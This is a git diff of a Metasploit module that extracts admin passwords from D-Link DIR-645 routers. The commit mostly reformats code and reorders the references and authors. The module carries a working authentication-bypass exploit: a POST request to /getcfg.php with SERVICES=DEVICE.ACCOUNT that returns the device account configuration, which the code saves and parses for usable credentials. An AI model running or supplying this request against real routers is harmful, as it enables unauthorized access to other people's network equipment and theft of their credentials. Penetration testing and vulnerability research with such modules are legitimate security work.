@@ -16,19 +16,21 @@ def initialize
16
16
super (
17
17
'Name' => 'DLink DIR 645 Password Extractor' ,
18
18
'Description' => %q{
19
- This module exploits an authentication bypass vulnerability in DIR 645 < v1.03.
20
- With this vulnerability you are able to extract the password for the remote management.
21
- } ,
19
+ This module exploits an authentication bypass vulnerability in DIR 645 < v1.03.
20
+ With this vulnerability you are able to extract the password for the remote
21
+ management.
22
+ } ,
22
23
'References' =>
23
24
[
24
- [ 'URL ' , 'http://packetstormsecurity.com/files/120591/dlinkdir645-bypass.txt ' ] ,
25
+ [ 'OSVDB ' , '90733 ' ] ,
25
26
[ 'BID' , '58231' ] ,
26
- [ 'OSVDB' , '90733' ]
27
+ [ 'URL' , 'http://packetstormsecurity.com/files/120591/dlinkdir645-bypass.txt' ]
28
+ ] ,
29
+ 'Author' =>
30
+ [
31
+ 'Roberto Paleari <[email protected] >' , # Vulnerability discovery
32
+ 'Michael Messner <[email protected] >' # Metasploit module
27
33
] ,
28
- 'Author' => [
29
- 'Michael Messner <[email protected] >' , #metasploit module
30
- 'Roberto Paleari <[email protected] >' #vulnerability discovery
31
- ] ,
32
34
'License' => MSF_LICENSE
33
35
)
34
36
end
@@ -45,8 +47,9 @@ def run
45
47
res = send_request_cgi ( {
46
48
'uri' => '/getcfg.php' ,
47
49
'method' => 'POST' ,
48
- 'vars_post' => {
49
- 'SERVICES' => 'DEVICE.ACCOUNT'
50
+ 'vars_post' =>
51
+ {
52
+ 'SERVICES' => 'DEVICE.ACCOUNT'
50
53
}
51
54
} )
52
55
@@ -58,7 +61,7 @@ def run
58
61
print_good ( "#{ rhost } :#{ rport } - credentials successfully extracted" )
59
62
60
63
#store all details as loot -> there is some usefull stuff in the response
61
- loot = store_loot ( "account_details.txt " , "text/plain" , rhost , res . body )
64
+ loot = store_loot ( "dlink.dir645.config " , "text/plain" , rhost , res . body )
62
65
print_good ( "#{ rhost } :#{ rport } - Account details downloaded to: #{ loot } " )
63
66
64
67
res . body . each_line do |line |
@@ -78,7 +81,7 @@ def run
78
81
:user => @user ,
79
82
:pass => pass ,
80
83
:active => true
81
- )
84
+ )
82
85
end
83
86
end
84
87
end
0 commit comments